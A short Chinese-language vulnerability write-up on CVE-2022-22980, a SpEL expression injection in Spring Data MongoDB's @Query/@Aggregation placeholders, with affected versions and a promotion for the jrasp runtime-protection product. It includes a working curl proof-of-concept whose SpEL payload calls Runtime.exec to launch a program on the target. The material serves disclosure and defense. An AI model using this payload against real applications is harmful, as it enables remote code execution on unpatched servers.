Spring Data MongoDB 是一个开源项目,它提供了与 MongoDB 文档数据库的集成,可以极大提高 Java 开发人员在使用 MongoDB 时的效率。近日监控到 Spring Data MongoDB 爆出 SpEL 表达式注入漏洞 CVE-2022-22980。
当使用 `@Query` 或 `@Aggregation` 注释进行查询并且通过 SpEL 表达式中形如 `?0` 、`?1` 等占位符进行参数赋值时,可导致 SpEL 表达式注入漏洞,从而实现 RCE 。影响版本如下:
v3.4.0
v3.3.0 to v3.3.4
Older, unsupported versions are also affected
为了方便漏洞调试分析,新建一个 SpringBoot 项目,并引入 Spring Data MongoDB v3.4.0 。参考 Spring Data MongoDB 查询 SpEL 解析定义规范以及补丁对比分析结果,完成调试环境配置。最后为了方便构造漏洞测试过程,编写如下控制器:
(https://github.com/threedr3am/learnjavabug/tree/master/spring/spring-data-mongodb-spel-CVE-2022-22980)
请求参数为 SpEL 表达式注入漏洞载荷,最终效果如下:
curl --location --request POST 'http://49.235.111.228:9999/demo' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'keyword=T(java.lang.String).forName('\''java.lang.Runtime'\'').getRuntime().exec('\''/System/Applications/Calculator.app/Contents/MacOS/Calculator'\'')'
管理端:
匹配到命令执行的调用栈,判定为高危
增加SPEL插件模块:近期SPEL表达式注入漏洞发生多个,增加表达式检测插件,提高检测能力;
如需获取更多信息,请访问我们的页面(http://www.jrasp.com/) 开源免费,欢迎使用
微信:sear2022
jrasp 目前已经接入主机超过500,防护进程超过5000+,成熟稳定;